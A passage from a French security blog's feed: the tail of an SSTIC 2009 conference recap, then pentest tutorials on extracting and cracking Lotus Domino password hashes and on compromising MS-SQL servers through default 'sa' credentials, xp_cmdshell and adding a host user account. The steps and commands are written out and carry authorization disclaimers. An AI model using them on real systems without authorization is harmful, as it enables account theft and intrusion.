logicielle" légère. Le but est que ces "sensors" soient les plus nombreux et les mieux répartis possibles dans le monde pour des résultats d'autant plus pertinents. Plus précisément, ces sensors disposent d'un automate à états finis (constitué des chemins d'attaque connus).&lt;br /&gt;Afin que les personnes de la communauté WOMBAT récupère les données, ils disponsent d'une passerelle qui sert notamment de proxy anonymiseur pour ses partenaires qui envoient leurs données.&lt;br /&gt;On arrive à la deuxième étape où on effectue une analyse des codes malicieux. On l'enrichit de données si on en dispose déjà. On retrouve deux cas d'attaque :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;les attaques connues qui seront facilement traitées et répertoriées ;&lt;/li&gt;&lt;li&gt;les attaques non connues qui nécessitent d'analyser le shellcode de l'attaque (+ long !).&lt;/li&gt;&lt;/ul&gt;Malheureusement, la tendance étant à l'attaque ciblée, on se rend compte que les attaques non connues et spécifiques prennent de plus en plus d'importance.&lt;br /&gt;Enfin, troisième étape : l'étude des menaces. On a vu de beaux graphiques et ça a l'air de fournir vraiment des résultats. En tout cas, de donner des éléments de réponses sur les  caractéristiques des attaques en cours ou à venir. Par exemple, on a une vue sur les sources et cibles des attaques, leur mode opératoire, etc. et tout plein de stats.&lt;br /&gt;Le projet est initialement prévu sur 3 ans et donc pas encore terminé. C'est pourquoi on attend d'autres résultats. Mais l'idée de départ et les moyens mis à disposition semblent être bons et prometteurs. Seulement, il faut que les données collectées soient :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;plus nombreuses ;&lt;/li&gt;&lt;li&gt;pertinentes et arriver à trier les bonnes données malgré la quantité croissante ; &lt;/li&gt;&lt;li&gt;trouver un moyen d'automatiser l'analyse de code malicieux pour les attaques non connues.&lt;/li&gt;&lt;/ul&gt;Donc, à suivre !&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Les attaques physiques  :&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Alors des projets tout à fait louables se déroulent pour la mise en place de l'informatique de confiance. Très bien sauf que Loïc DUFLOT, speaker de la conférence "Quelles limites pour l'informatique de confiance", commence par nous montrer qu'en débranchant et en rebranchant 5 fois de suite le câble d'alimentation de sa machine, il passe root à partir d'un compte démo non privilégié ! Là, on commence à se demander ce qu'il se passe et tout devient plus clair dans la suite. Le problème, c'est que le BIOS n'est pas considéré à sa juste valeur. Malheureusement, on sait déjà les dégâts que cela peut faire. Outre le reboot de la machine par exemple avec un média amorçable, nous nous attaquons à un sujet plus complexe mais dont le résultat est sans équivoque. Alors pour résumer, L. DUFLOT va s'appuyer sur les routines de traitement de la SMI (&lt;span style="font-style: italic;"&gt;System Management Interface&lt;/span&gt;) et les tables ACPI (&lt;span style="font-style: italic;"&gt;Advanced Configuration and Power Interface&lt;/span&gt;). Les routines d'interruption ont des droits privilégiés et c'est de là que va venir l'escalade de privilèges. La démarche consiste à injecter un rootkit qui se lancera une fois qu'on actionnera telle routine physique (ex : débrancher le câble d'alimentation).&lt;br /&gt;Dans le même ordre d'idée, la dernière conf de la journée, "Compromission physique par le bus PCI" de Christophe Devine et Guillaume Vissian nous fournit un POC d'accès DMA à l'aide d'une carte PCI ou Cardbus. Là encore, le résultat est au rendez-vous. Cette présentation venait à point dans la continuité de celle de Damien Aumaître, l'année dernière, sur l'accès DMA mais via le port firewire cette fois.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;ISO 27001  :&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Déjà, de l'orga au SSTIC ! ça fait plaisir aussi :) L'approche de la conférence, c'est de voir de manière objective (ou presque ;) à quoi sert l'ISO 27001 avec un retour d'expérience du speaker, Alexandre Fernandez-Toro. L'exposé était découpé en 5 questions :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;A quoi ça sert [l'ISO 27001] ?&lt;/li&gt;&lt;li&gt;Est-ce que ça améliore vraiment la sécurité des systèmes d'information ?&lt;/li&gt;&lt;li&gt;Comment reconnaître les compagnies qui veulent être certifiées pour le tampon et celles qui le souhaitent pour s'assurer qu'elles appliquent les bonnes pratiques en termes de SSI ?&lt;/li&gt;&lt;li&gt;Quels sont les domaines impactés ?&lt;/li&gt;&lt;li&gt;A quoi ça sert vraiment [l'ISO 27001] ?&lt;/li&gt;&lt;/ul&gt;C'était intéressant d'avoir un tel retour d'expérience et de se dire plusieurs fois, "ça j'ai vu". Notamment, le cas des entreprises qui rédigent les documents et effectuent les enregistrements juste avant l'audit. J'ai vu un cas où la boîte avait fait en sorte de retarder l'audit de 6 mois. Comme de par hasard, il y a eu un plein de choses mises en place les 6 derniers mois ... que c'est bizarre ! Non ? Regardons ce qu'il y avait eu de fait avant les 6 mois ... euh ... Je tiens un bon cas 1, un bon vainqueur même :)&lt;br /&gt;La conclusion de la conférence, c'est que l'ISO 27001 apporte réellement une sécurité mais pas de la façon à laquelle on pourrait s'attendre &lt;span style="font-style: italic;"&gt;a priori&lt;/span&gt; : La norme apporte vraiment aux compagnies qui ont déjà la volonté de faire de la sécurité. C'est un travail à long terme et c'est seulement ainsi que des résultats concrets pourront être obtenus. En l'occurrence, la norme permettra de rationnaliser, transversaliser et mutualiser la SSI de la compagnie. En fait, c'est déjà pas mal !&lt;br /&gt;Regardez les failles que vous trouvez dans un test d'intrusion interne. Si vous creusez, vous vous rendez compte qu'il y a toujours une cause organisationnelle derrière : la machine n'est assignée à aucun administrateur, les administrateurs en charges sont 2 pour 8278182718105 machines, etc ... On comprend pourquoi la machine n'est pas patchée depuis X mois (qui a dit années ???) quand bien même on a un WSUS correctement installé. Par exemple, la transversalité permettra de couvrir la totalité du SI et évitera qu'une machine ne soit administrée ... que par elle-même !&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-3707825395869354866?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/3707825395869354866/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=3707825395869354866' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/3707825395869354866'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/3707825395869354866'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2009/06/sstic-2009-day-1.html' title='[SSTIC 2009] Day 1'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-3192939752379609744</id><published>2009-04-20T15:20:00.000-07:00</published><updated>2009-05-31T08:46:45.795-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>[Pentesting] [Messaging] Lotus hacking</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Nous continuons sur les posts techniques en nous attaquant cette fois à un autre type de serveur : le serveur de messagerie. Et plus exactement, l'attaque portera sur un serveur LOTUS. Nous verrons que l'attaquant peut encore une fois  frapper très fort par cette voie.&lt;/span&gt;&lt;/em&gt;&lt;em&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;1 - Briefing: Lotus&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Le post est à but purement éducatif et ne devra en aucun cas être testé sur un réseau qui ne vous appartient pas, en tout cas, sans autorisation.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Il s'agit ici de donner une démonstration tiré d'un article paru dans le &lt;span style="font-style: italic;"&gt;HS n°1 de MISC&lt;/span&gt;. Se référer à celui-ci pour plus d'information.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Nous agissons ici de l'extérieur puisque nous nous focalisons sur la partie &lt;span style="font-style: italic;"&gt;webmail&lt;/span&gt; de la messagerie.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;2 - Repérage de la  cible&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Trouver la messagerie de la compagnie auditée n'est pas difficile. Il y a la méthode que j'appelerai "intuitive" qui consiste à deviner le nom. Par exemple : &lt;span style="font-style: italic;"&gt;mail.compagny.com&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;webmail.compagny.com&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;mx.compagny.com&lt;/span&gt;, etc...&lt;br /&gt;Et il y a la méthode plus intelligente ;) Il suffit d'exécuter une requête DNS sur le champ MX :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;dig MX compagny.com&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Notre cible utilise du Lotus ? Alors à l'attaque !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;3 - Des informations bien utiles ...&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;u&gt;3.1/ Récupération d'informations intéressantes&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Nous allons regarder dans une premier temps si nous avons accès aux fiches des utilisateurs. Pour cela, essayer d'ouvrir le fichier &lt;span style="font-style: italic;"&gt;names.nsf&lt;/span&gt;. Par exemple, à l'adresse : &lt;span style="font-style: italic;"&gt;http://mail.compagny.com/names.nsf&lt;/span&gt;. Vous devriez avoir les listes des utilisateurs ! Cliquer sur ceux qui ont un icône "terre" et qui ont donc un accès webmail. Vous devriez trouver facilement ... le &lt;span style="font-weight: bold;"&gt;login&lt;/span&gt; !  ça commence plutôt pas mal, non ?&lt;br /&gt;&lt;br /&gt;&lt;u&gt;3.2/ Récupération des comptes adminitrateur&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Obtenir le compte d'un adminitrateur nous permettrait une compromission encore plus importante dans le sens où cela nous  permettrait d'obtenir des accès sur le système hôte. Comment connaître l'identité de l'administrateur de la messagerie ? Deux manière au moins :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Regarder les &lt;span style="font-weight: bold;"&gt;mailing-lists&lt;/span&gt;. L'une d'elles pourraient s'appeler &lt;span style="font-style: italic;"&gt;mail_adminitrator &lt;/span&gt;ou quelque chose du genre. Sinon, toutes les listes d'administration pourrait être intéressante pour connaître les utilisateurs-clé ;)&lt;/li&gt;&lt;li&gt;Regarder la &lt;span style="font-weight: bold;"&gt;configuration du serveur &lt;/span&gt;Lotus si celle-ci est accessible en lecture au moins. Le ou les nom(s) des adminitrateurs de la messagerie devraient vous être fournis sur un plateau ...&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;u&gt;3.3/ Récupération des hashes&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Et c'est à partir de maintenant que ça  fait peur ! Mal configuré - comme souvent - il est possible de connaitre le hash du mot de passe des utilisateurs depuis Internet. ça ne peut pas être si simple me direz-vous ? En effet, c'est encore plus simple que ce que vous pouvez penser !&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Sélectionner la fiche de votre utilisateur cible ;&lt;/li&gt;&lt;li&gt;Faire un clic droit sur sa fiche et choisir "Ce cadre" puis "Code source de ce cadre" (éventuellement en anglais) ;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Dans le code source, faire une recherche sur la chaîne &lt;span style="font-style: italic;"&gt;HTTPPassword&lt;/span&gt; ;&lt;/li&gt;&lt;li&gt;Récupérer la valeur dans le champ "value" sans les guillemets mais avec  les parenthèses ;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;C'est tout !&lt;/li&gt;&lt;/ul&gt;Il existe deux formats de hash que nous pouvons récupérer (éventuellement sur le même serveur) :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;le format plus ancien :&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BhVyBIyY5_8/Se0AnnRVTlI/AAAAAAAAAgk/pzgUl4GV_C0/s1600-h/hash_format1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 674px; height: 81px;" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/Se0AnnRVTlI/AAAAAAAAAgk/pzgUl4GV_C0/s400/hash_format1.JPG" alt="" id="BLOGGER_PHOTO_ID_5326914614805745234" border="0" /&gt;&lt;/a&gt;le format plus récent basé sur du MD5 + sel :&lt;/li&gt;&lt;/ul&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BhVyBIyY5_8/Se0BteMCfGI/AAAAAAAAAgs/_M5xOZiaLqE/s1600-h/hash_format2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 591px; height: 77px;" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/Se0BteMCfGI/AAAAAAAAAgs/_M5xOZiaLqE/s400/hash_format2.JPG" alt="" id="BLOGGER_PHOTO_ID_5326915814958464098" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;4 - Juste une histoire de mot de passe&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Nous avons donc obtenu un hash et en bon agent que vous êtes, ce n'est certainement pas la première fois que vous avez un hash à déchiffrer. Ici, notre arme de choix est le célèbre casseur de mot de passe, nommé John ! John the Ripper &lt;a href="http://www.blogger.com/www.openwall.com/john/"&gt;[1&lt;/a&gt;&lt;a href="http://www.blogger.com/www.openwall.com/john/"&gt;]&lt;/a&gt; !&lt;br /&gt;Néanmoins, nous aurons besoin d'utiliser une version avec les patches qui vont bien. Perso, j'utilise john-banquise &lt;a href="http://www.banquise.net/misc/patch-john.html"&gt;[2]&lt;/a&gt; qui contient les patches pour Domino dont nous avons besoin.&lt;br /&gt;Ensuite, nous avons besoin de lancer John avec le &lt;span style="font-style: italic;"&gt;format &lt;/span&gt;approprié :&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;pour les hashes de format ancien : &lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;john --wordlist=dictionary.txt --rules --format=lotus5 liste_hashes.txt&lt;/blockquote&gt;&lt;ul&gt;&lt;li&gt;pour les hashes de format récent : &lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;john --wordlist=dictionary.txt --rules --format=DOMINOSEC liste_hashes.txt&lt;/blockquote&gt;&lt;br /&gt;Le fichier liste_hashes.txt doit être de la forme suivante :&lt;br /&gt;&lt;blockquote&gt;prenom1Nom1:(hash1)&lt;br /&gt;prenom2Nom2:(hash2)&lt;br /&gt;prenom3Nom3:(hash3)&lt;br /&gt;...&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;5 - Conclusion&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Nous avons vu comment avoir accès à la messagerie d'un utilisateur sans difficulté particulière (sauf si le mot de passe était complexe). Cependant, nous n'avons pas tout vu.&lt;br /&gt;En externe, il faut savoir qu'une fois le compte adminitrateur de la messagerie en notre possession, il est possible d'exécuter des &lt;span style="font-weight: bold;"&gt;commandes arbitraires&lt;/span&gt; sur le système hôte !&lt;br /&gt;En interne, d'&lt;span style="font-weight: bold;"&gt;autres attaques&lt;/span&gt;, différentes, peuvent être jouées. Notamment, elles tournent autour du fichier &lt;span style="font-style: italic;"&gt;id&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Et n'oubliez pas, have fun! :)&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-3192939752379609744?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/3192939752379609744/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=3192939752379609744' title='3 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/3192939752379609744'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/3192939752379609744'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2009/04/pentesting-messaging-lotus-hacking.html' title='[Pentesting] [Messaging] Lotus hacking'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_BhVyBIyY5_8/Se0AnnRVTlI/AAAAAAAAAgk/pzgUl4GV_C0/s72-c/hash_format1.JPG' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-1909188108334276588</id><published>2009-04-19T15:27:00.000-07:00</published><updated>2009-04-23T01:41:34.164-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>[PENTESTING] [Database] MS-SQL Audit</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Après notre aventure théorique sur l'OWASP, je reviens sur le blog pour un post technique. Et pour ce "comeback", je vous propose dans un premier temps de nous attaquer à un élément du S.I très sensible : les bases de données ! En effet, c'est ici que nous trouverons souvent les données les plus confidentielles ... Plus précisément, nous allons prendre pour exemple les bases de type MS-SQL.&lt;/span&gt;&lt;/em&gt;&lt;em&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;1 - Mission: MS-SQL&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Le post présente une technique qui n'est pas supposée être la meilleure, ni être exhaustive. Le but ici est de voir &lt;span style="font-weight: bold;"&gt;une façon de faire&lt;/span&gt;. Au risque de me répéter, mais c'est très important, ce qui est présenté ci-dessous ne peut être réalisé qu'au sein de son propre réseau ou dans un cadre légal (avec autorisation de la compagnie auditée).&lt;br /&gt;&lt;br /&gt;Avant d'entrer dans le sujet, il faut savoir que ce type de tests est plus approprié aux &lt;span style="font-weight: bold;"&gt;tests d'intrusion internes&lt;/span&gt;. Si jamais une telle base était accessible depuis Internet, je vous laisse imaginer la criticité du problème !&lt;br /&gt;&lt;br /&gt;Pour terminer, le &lt;span style="font-weight: bold;"&gt;client OSQL, &lt;/span&gt;utilisé dans la suite, est fourni gratuitement sur le site de Microsoft dans le package MSDE. La connexion vers la serveur se fait ainsi :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;osql.exe /S &lt;span style="font-style: italic;"&gt;ip_serveur|nom_serveur&lt;/span&gt; /U &lt;span style="font-style: italic;"&gt;nom_utilisateur &lt;/span&gt;/P &lt;span style="font-style: italic;"&gt;mot_de_passe&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;2 - Repérage de notre cible&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.1/  Trouver les serveurs MS-SQL&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Par défaut, les bases MS-SQL utilisent les ports :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;TCP/1433&lt;/li&gt;&lt;li&gt;UDP/1434&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;NMAP &lt;/span&gt;peut donc nous permettre de trouver les serveurs MS-SQL présents sur le réseau audité  (par exemple, sur le réseau 172.16.XXX.XXX) :&lt;br /&gt;&lt;blockquote&gt;nmap -v -sV -sS -p 1433 -oN NMAP_MS-SQL.txt 172.16.0.0/16&lt;/blockquote&gt;&lt;br /&gt;Ou mieux :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;nmap -sV -sS -p 1433 172.16.0.0/16 | grep "open" -B 3 &gt; nmap_mssql_list.txt&lt;/blockquote&gt;&lt;br /&gt;Cette méthode simple est tout de même limitée car si l'administrateur n'utilise pas le port par défaut, nous  passons à côté de notre cible !&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.2/  Prise d'information sur les serveurs MS-SQL&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Il existe plusieurs outils pour obtenir des informations sur les serveurs MS-SQL audités. Nous montrons ici l'exemple de &lt;span style="font-style: italic;"&gt;SQLRecon&lt;/span&gt;&lt;span style="font-style: italic;"&gt; &lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BhVyBIyY5_8/Seu6XGhh8MI/AAAAAAAAAgM/LQP5jd6asx0/s1600-h/SQLRecon.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 261px;" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/Seu6XGhh8MI/AAAAAAAAAgM/LQP5jd6asx0/s400/SQLRecon.PNG" alt="" id="BLOGGER_PHOTO_ID_5326555890346750146" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Le but est de connaître les numéros de version notamment pour éventuellement jouer un exploit si le serveur de base de données n'est pas maintenu à jour.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;3 - Compromission de la cible&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;3.1/ Juste une question de compte ...&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;&lt;strong style="font-weight: normal;"&gt;Une &lt;/strong&gt;base de données MS-SQL a  un compte administrateur appelé par défaut &lt;span style="font-style: italic;"&gt;sa&lt;/span&gt;. Ce compte doit donc être protégé spécifiquement. Cependant, il arrive qu'il soit configuré avec  le mot de passe ... &lt;span&gt;vide ou&lt;/span&gt;&lt;span style="font-style: italic;"&gt; sa&lt;/span&gt; ! Les &lt;span style="font-weight: bold;"&gt;credentials par défaut&lt;/span&gt; peuvent donc très simplement fournir un accès total à la base de données.&lt;br /&gt;&lt;br /&gt;Si les comptes par défaut ne donnent pas de résultats positifs, nous pouvons tenter une attaque par &lt;span style="font-weight: bold;"&gt;dictionnaire&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;. Pour cela, il existe l'outil &lt;span style="font-style: italic;"&gt;SQLPing3cl&lt;/span&gt; :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_BhVyBIyY5_8/Seu8nnr4wQI/AAAAAAAAAgU/wKfiXThQ7Mg/s1600-h/sqlping3cl.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 461px; height: 88px;" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/Seu8nnr4wQI/AAAAAAAAAgU/wKfiXThQ7Mg/s400/sqlping3cl.PNG" alt="" id="BLOGGER_PHOTO_ID_5326558373149720834" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Nous avons auparavant :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;rempli le fichier &lt;span style="font-style: italic;"&gt;user.txt&lt;/span&gt; avec les noms de compte possible (ex : &lt;span style="font-style: italic;"&gt;sa&lt;/span&gt;) ;&lt;/li&gt;&lt;li&gt;rempli le fichier &lt;span style="font-style: italic;"&gt;pass.txt &lt;/span&gt;avec la liste de mots de passe (sinon, il existe des tonnes de fichiers préconçus sur le Net contenant les mots du dictionnaire ;).&lt;/li&gt;&lt;/ul&gt;Un de nos serveurs a le mot de passe &lt;span style="font-style: italic;"&gt;sa&lt;/span&gt; (extrait de l'output) ...&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;172.XXX.XXX.XXX,1433,&lt;span style="font-style: italic;"&gt;NOM_Serveur&lt;/span&gt;,MSSQLSERVER,8.00.194,8.0.766,8.00.760,,No,(UDP)ServerName;&lt;span style="font-style: italic;"&gt;NOM_Serveur&lt;/span&gt;;InstanceName;MSSQLSERVER;IsClustered;No;Version;8.00.194;tcp;1433;np;\\&lt;span style="font-style: italic;"&gt;Nom_Serveur&lt;/span&gt;\pipe\sql\query;;    (SA)Server present but blank SA login failed    (BruteForce)**** &lt;span style="font-weight: bold;"&gt;Brute force attempt successful! User:sa Pass:sa&lt;/span&gt; ****,UDP TCP SA BruteForce&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;u&gt;3.2/ Regarder les vulnérabilités !&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Si malgré tous vos efforts vous n'obtenez pas le mot de passe du compte &lt;span style="font-style: italic;"&gt;sa&lt;/span&gt;, il faut se retourner vers un &lt;span style="font-weight: bold;"&gt;site de veille sécurité &lt;/span&gt;pour trouver une faille exploitable selon la  version trouvée (cf. point 2.2/).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;4 - Système touché !&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Il faut savoir qu'une base de données tourne par défaut avec les droits &lt;span style="font-style: italic; font-weight: bold;"&gt;Local System&lt;/span&gt;. Alors imaginez que la base de données est compromise et que vous puissiez exécuter des commandes arbitraires ... ce serait avec les droits &lt;span style="font-style: italic;"&gt;NT AUTHORITY/SYSTEM&lt;/span&gt; !&lt;br /&gt;&lt;br /&gt;Or, par défaut, MS-SQL bénéficie de ce qu'on appelle des &lt;span style="font-weight: bold;"&gt;procédures stockées&lt;/span&gt;. Ces dernières permettent d'augmenter significativement la puissance d'une base de données. En effet, cela permet de nombreuses actions prédéfinies très  utiles pour l'administrateur ... ou pour l'attaquant. La procédure qui nous intéresse ici est &lt;span style="font-style: italic;"&gt;xp_cmdshell&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;4.1/ Activer une procédure stockée&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Il est possible que la procédure que nous souhaitons - xp_cmdshell - ne soit pas activée. Pour le savoir, tenter une connexion vers la base et essayer de lancer la procédure stockée de la manière suivante :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&gt; xp_cmdshell 'ipconfig'&lt;br /&gt;&gt; go&lt;br /&gt;&lt;/blockquote&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;Si vous n'avez pas d'erreur, comme sur l'image suivante, passez tout de suite à l'étape 4.2/&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BhVyBIyY5_8/Seu3Ng_70mI/AAAAAAAAAgE/N-xLeb6CDFw/s1600-h/ipconfig.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 209px;" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/Seu3Ng_70mI/AAAAAAAAAgE/N-xLeb6CDFw/s400/ipconfig.JPG" alt="" id="BLOGGER_PHOTO_ID_5326552427120022114" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Sinon, suivez les instructions ci-dessous permettent l'activation de la procédure :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_BhVyBIyY5_8/Seu-mtUyK7I/AAAAAAAAAgc/L26iAVkVAp8/s1600-h/xp_cmdshell.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 478px; height: 130px;" src="http://2.bp.blogspot.com/_BhVyBIyY5_8/Seu-mtUyK7I/AAAAAAAAAgc/L26iAVkVAp8/s400/xp_cmdshell.JPG" alt="" id="BLOGGER_PHOTO_ID_5326560556506819506" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;u&gt;4.2/ Lancement de commandes&lt;/u&gt;&lt;u&gt;&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Nous allons poursuivre notre attaque en créant un compte sur le système hôte :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&gt; xp_cmdshell 'net user jer001 M1ssion_pass /add'&lt;br /&gt;&gt; go&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Nous vérifions avec les commandes suivantes :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&gt; xp_cmdshell 'net user'&lt;br /&gt;&gt; go&lt;/blockquote&gt;Notre compte est ajouté !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: 